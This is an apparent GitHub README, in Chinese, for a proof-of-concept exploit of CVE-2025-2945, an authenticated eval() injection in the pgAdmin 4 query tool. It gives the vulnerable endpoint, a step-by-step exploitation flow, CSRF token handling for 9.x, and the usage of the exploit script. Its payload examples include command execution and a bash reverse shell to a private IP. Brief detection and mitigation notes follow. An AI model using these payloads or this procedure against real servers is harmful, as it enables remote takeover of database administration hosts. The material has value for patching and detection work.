plur1bu5/CVE-2025-2945-pgadmin-rce
GitHub: plur1bu5/CVE-2025-2945-pgadmin-rce
针对 pgAdmin 4 查询工具中 eval() 注入导致的认证后 RCE 漏洞(CVE-2025-2945)的 PoC,已适配 9.x 版本的认证流程变更。
Stars: 0 | Forks: 0
# CVE-2025-2945 — pgAdmin 4 查询工具认证 RCE
CVE-2025-2945 的概念验证,这是 pgAdmin 4 中的一个严重远程代码执行漏洞。
**受影响版本:** 8.10 至 9.1
**修复版本:** 9.2(发布于 2025 年 4 月 4 日)
**CVSS v3.1:** 9.9(严重)
## 概述
pgAdmin 4 查询工具暴露了一个端点,该端点接受 `query_commited` 参数,并在未经任何净化的情况下将其直接传递给 Python 内置的 `eval()` 函数。通过认证的攻击者可以通过此参数提交任意 Python 代码,并在服务端的 pgAdmin 服务账户下执行。
易受攻击的端点是:
```
POST /sqleditor/query_tool/download/
```
JSON 正文中的 `query_commited` 字段会在服务器上作为 Python 代码进行求值。
## 技术分析
### 根本原因
在 9.2 之前的 pgAdmin 4 版本中,查询工具下载处理器对用户提供的输入调用了 `eval()`:
```
# 易受攻击代码路径的简化表示
result = eval(data.get('query_commited'))
```
未应用任何输入验证、沙箱或白名单机制。任何有效的 Python 表达式都会以 pgAdmin 进程的权限执行。
### 利用流程
1. **认证** — 向 `/authenticate/login` POST 凭据,获取会话 cookie 和 CSRF token
2. **初始化 sqleditor** — 向 `/sqleditor/initialize/sqleditor////` POST 数据库凭据以建立查询工具会话
3. **发现服务器 ID** — GET `/sqleditor/get_server_connection//`,遍历 ID 直到返回 `data.status == true`
4. **触发 eval** — 向 `/sqleditor/query_tool/download/` POST `{"query_commited": ""}`,收到 500 响应即确认执行
### CSRF Token 处理 (pgAdmin 9.x)
旧版 pgAdmin 将 CSRF token 嵌入在隐藏的 `` 字段或 cookie 中。版本 9.x 转向了 React SPA 架构,token 在 `/login` 页面上以 JSON 形式嵌入在 `window.renderSecurityPage()` 调用中:
```
"csrfToken": ""
```
该 token 是会话范围的(Flask-WTF / itsdangerous),因此从初始 `GET /login` 获取的 token 在整个会话期间保持有效,并且可以重用于所有后续 API 调用。
### 登录端点变更
pgAdmin 9.x 拆分了登录路由:
- `GET /login` — 渲染登录页面(包含 CSRF token)
- `POST /authenticate/login` — 处理凭据
在 9.x 实例上,直接 POST 到 `/login` 的旧版 PoC 将收到 404 或 405 错误。
## 环境要求
- Python 3.7+
- 有效的 pgAdmin 凭据(任意已认证用户)
- pgAdmin 中注册服务器的有效数据库凭据
```
pip install requests faker
```
## 使用方法
```
python3 poc.py \
--rhost \
--username \
--password \
--db-user \
--db-pass \
--db-name \
--payload ""
```
### 参数
| 参数 | 描述 |
|---|---|
| `--rhost` | 目标主机名或 IP(不带协议) |
| `--rport` | 目标端口(默认:80) |
| `--username` | pgAdmin 登录邮箱 |
| `--password` | pgAdmin 登录密码 |
| `--db-user` | PostgreSQL 用户名 |
| `--db-pass` | PostgreSQL 密码 |
| `--db-name` | 数据库名称 |
| `--payload` | 要在服务器上求值的 Python 表达式 |
| `--max-server-id` | 探测的最大服务器 ID 数(默认:10) |
### Payload 示例
命令执行:
```
--payload "__import__('os').system('id')"
```
反向 shell:
```
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
```
## 检测
- 来自 `/sqleditor/query_tool/download/` 的意外 HTTP 500 响应
- pgAdmin 进程生成子进程(shell、curl、wget)
- 从 pgAdmin 主机到未知 IP 的出站连接
## 缓解措施
升级到 pgAdmin 4 版本 9.2 或更高版本。
## 参考
- https://nvd.nist.gov/vuln/detail/CVE-2025-2945
- https://www.tenable.com/security/research/tra-2025-2945
- https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce
## 免责声明
本仓库仅用于教育和授权测试目的。请勿对您不拥有或未获得明确测试许可的系统使用。
标签:CISA项目, CSRF, CVE-2025-2945, CVSS 9.9, eval注入, pgAdmin 4, PoC, PostgreSQL, RCE, SQL工具, Web安全, 暴力破解, 未经处理的输入, 沙箱逃逸, 测试用例, 编程工具, 蓝队分析, 身份验证绕过, 远程代码执行, 逆向工具, 高危漏洞